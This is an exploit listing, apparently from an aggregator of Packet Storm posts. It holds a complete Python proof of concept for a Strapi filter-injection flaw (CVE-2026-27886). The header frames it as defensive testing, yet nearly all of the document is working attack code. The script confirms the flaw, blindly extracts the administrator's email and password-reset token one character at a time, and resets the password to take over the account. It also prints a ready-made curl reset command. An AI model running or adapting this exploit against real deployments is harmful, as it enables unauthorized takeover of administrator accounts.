Share
## https://sploitus.com/exploit?id=PACKETSTORM:225138
==================================================================================================================================
    | # Title     : Strapi Filter Injection Administrator Password Reset                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://strapi.io/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    :  This tool assesses whether filter injection weaknesses can impact administrator account recovery workflows in Strapi deployments (CVE-2026-27886).
                      It validates exposure conditions, evaluates enumeration risks,and analyzes password reset flow behavior for defensive security testing.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import json
    import sys
    import urllib.error
    import urllib.parse
    import urllib.request
    import time
    import re
    
    USER_AGENT = "CVE-2026-27886-Exploit/1.0"
    
    EMAIL_ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789@.-_+"
    TOKEN_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:."
    
    class ExploitError(Exception):
        pass
    def http_get_json(url, timeout=10):
        """Perform GET request and return JSON response"""
        req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
        try:
            with urllib.request.urlopen(req, timeout=timeout) as r:
                body = r.read().decode("utf-8")
                return json.loads(body)
        except Exception as e:
            raise ExploitError(f"Request failed: {e}")
    
    def http_post_json(url, data, timeout=10):
        """Perform POST request with JSON body"""
        headers = {
            "User-Agent": USER_AGENT,
            "Content-Type": "application/json"
        }
        req = urllib.request.Request(url, data=json.dumps(data).encode(), headers=headers)
        try:
            with urllib.request.urlopen(req, timeout=timeout) as r:
                body = r.read().decode("utf-8")
                return json.loads(body)
        except urllib.error.HTTPError as e:
            try:
                return json.loads(e.read().decode())
            except:
                return {"error": f"HTTP {e.code}"}
        except Exception as e:
            raise ExploitError(f"POST failed: {e}")
    
    def pagination_total(data):
        """Extract total from Strapi pagination meta"""
        if not isinstance(data, dict):
            return 0
        meta = data.get("meta") or {}
        pagination = meta.get("pagination") or {}
        return int(pagination.get("total") or 0)
    
    def query_count(endpoint, params):
        """Get count of items matching filter parameters"""
        url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
        return pagination_total(http_get_json(url))
    
    def is_vulnerable(endpoint):
        """Check if target is vulnerable using where[id][$lt]=-1 test"""
        baseline = query_count(endpoint, {})
        if baseline == 0:
            return False, baseline, "Collection empty or no find permission"
        
        test_params = {"where[id][$lt]": "-1"}
        test_count = query_count(endpoint, test_params)
        
        vulnerable = (test_count == 0)
        return vulnerable, baseline, test_count
    
    def blind_enum_field(endpoint, field_path, prefix="", alphabet=None, max_len=64, delay=0):
        """
        Blindly enumerate a field using $startsWith filter
        field_path format: "relation[field]" e.g., "updatedBy[email]"
        """
        if alphabet is None:
            alphabet = EMAIL_ALPHABET
        
        result = prefix
        for _ in range(max_len):
            found_char = None
            for char in alphabet:
                candidate = result + char
                params = {f"where[{field_path}][$startsWith]": candidate}
                
                try:
                    count = query_count(endpoint, params)
                    if count > 0:
                        found_char = char
                        print(char, end="", flush=True)
                        break
                except:
                    continue
                
                if delay:
                    time.sleep(delay)
            
            if found_char is None:
                break
            result += found_char
        
        return result
    def enumerate_admin_email(endpoint, delay=0):
        """Enumerate administrator email address"""
        print("[*] Enumerating admin email: ", end="", flush=True)
        email = blind_enum_field(endpoint, "updatedBy[email]", alphabet=EMAIL_ALPHABET, delay=delay)
        print()
        return email
    
    def enumerate_reset_token(endpoint, admin_email, delay=0):
        """Enumerate password reset token using the admin email as reference"""
        verify_params = {f"where[updatedBy][email][$eq]": admin_email}
        if query_count(endpoint, verify_params) == 0:
            raise ExploitError(f"Could not verify admin email: {admin_email}")
        
        print(f"[*] Enumerating reset token for {admin_email}")
        print("[*] Token: ", end="", flush=True)
    
        token_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:"
        token = blind_enum_field(
            endpoint, 
            "updatedBy[resetPasswordToken]", 
            alphabet=token_alphabet,
            delay=delay
        )
        print()
        return token
    
    def trigger_password_reset(base_url, token, new_password, email):
        """
        Trigger the actual password reset using the stolen token
        POST /api/auth/reset-password
        """
        reset_url = f"{base_url.rstrip('/')}/api/auth/reset-password"
        
        payload = {
            "code": token,
            "password": new_password,
            "passwordConfirmation": new_password
        }
        
        print(f"[*] Attempting password reset for {email}")
        print(f"[*] POST {reset_url}")
        
        result = http_post_json(reset_url, payload)
        
        if "jwt" in result:
            print(f"[+] SUCCESS! New password: {new_password}")
            print(f"[+] JWT: {result['jwt']}")
            return result.get("jwt")
        elif "error" in result:
            print(f"[-] Reset failed: {result.get('error', {}).get('message', 'Unknown error')}")
            return None
        else:
            print(f"[-] Unexpected response: {json.dumps(result, indent=2)}")
            return None
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-27886 - Full Account Takeover Exploit",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    EXAMPLE:
      python3 exploit.py http://target.com --new-password pwned123!
      python3 exploit.py http://target.com --enum-only
      python3 exploit.py http://target.com --email admin@example.com --token abc123
            """
        )
       
        parser.add_argument("target", help="Target base URL (e.g., http://target.com)")
        parser.add_argument("--collection", default="api/users", 
                           help="Content type collection (default: api/users)")
        parser.add_argument("--enum-only", action="store_true",
                           help="Only enumerate email and token, don't reset password")
        parser.add_argument("--new-password", help="New password to set for admin account")
        parser.add_argument("--email", help="Skip email enumeration, use provided email")
        parser.add_argument("--token", help="Skip token enumeration, use provided token")
        parser.add_argument("--delay", type=float, default=0.1,
                           help="Delay between requests to avoid rate limiting")
        
        args = parser.parse_args()
    
        endpoint = f"{args.target.rstrip('/')}/{args.collection.lstrip('/')}"
        print(f"[+] Target endpoint: {endpoint}")
        print("\n[+] Testing vulnerability...")
        try:
            vulnerable, baseline, test = is_vulnerable(endpoint)
        except Exception as e:
            print(f"[-] Error testing: {e}")
            return 1
        
        if not vulnerable:
            print(f"[-] NOT VULNERABLE: baseline={baseline}, test={test}")
            print("    Target appears patched (Strapi >= 5.37.0)")
            return 1
        
        print(f"[+] VULNERABLE confirmed! baseline={baseline}, test={test}")
    
        admin_email = args.email
        if not admin_email:
            try:
                admin_email = enumerate_admin_email(endpoint, args.delay)
                if not admin_email or len(admin_email) < 5:
                    print("[-] Failed to enumerate admin email")
                    return 1
                print(f"[+] Admin email: {admin_email}")
            except Exception as e:
                print(f"[-] Email enumeration failed: {e}")
                return 1
        else:
            print(f"[+] Using provided email: {admin_email}")
        
        if args.enum_only:
            print("[+] Enumeration complete (--enum-only mode)")
            return 0
    
        reset_token = args.token
        if not reset_token:
            try:
                reset_token = enumerate_reset_token(endpoint, admin_email, args.delay)
                if not reset_token or len(reset_token) < 20:
                    print("[-] Failed to enumerate reset token")
                    print("[!] Token may not exist or user hasn't requested password reset")
                    print("[!] Admin accounts without pending reset tokens cannot be taken over")
                    return 1
                print(f"[+] Reset token: {reset_token}")
            except Exception as e:
                print(f"[-] Token enumeration failed: {e}")
                return 1
        else:
            print(f"[+] Using provided token: {reset_token}")
        if args.new_password:
            print(f"\n[+] Attempting account takeover...")
            jwt = trigger_password_reset(args.target, reset_token, args.new_password, admin_email)
            if jwt:
                print(f"\n[+] ACCOUNT TAKEOVER SUCCESSFUL!")
                print(f"[+] Login with: {admin_email} / {args.new_password}")
            else:
                print("\n[-] Account takeover failed!")
                return 1
        else:
            print(f"\n[+] To takeover account, re-run with --new-password <password>")
            print(f"[+] Or use: curl -X POST {args.target}/api/auth/reset-password \\")
            print(f"     -H 'Content-Type: application/json' \\")
            print(f"     -d '{{\"code\":\"{reset_token}\",\"password\":\"newpass\"}}'")
        
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================